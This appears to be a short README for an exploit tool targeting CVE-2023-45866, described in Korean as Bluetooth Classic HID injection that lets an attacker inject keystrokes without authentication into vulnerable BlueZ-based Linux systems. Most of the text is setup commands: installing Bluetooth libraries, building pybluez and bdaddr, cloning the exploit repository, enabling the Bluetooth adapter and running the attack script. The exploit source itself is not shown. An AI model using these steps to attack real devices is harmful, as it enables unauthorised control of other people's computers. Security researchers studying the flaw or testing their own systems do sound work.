cisnarfu/bluepopCVE-2023-45866에 대한 Bluetooth Classic HID 주입 악용 코드로, 취약한 BlueZ 기반 Linux 시스템에 대해 인증되지 않은 키 입력 주입을 가능하게 합니다.
CVE-2023-45866
sudo apt-get update
sudo apt-get -y upgrade
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
git clone https://github.com/cisnarfu/Bluepop.git
cd Bluepop
pip3 install -r requirements.txt
sudo hciconfig hci0 up
python3 ./src/bluepop.py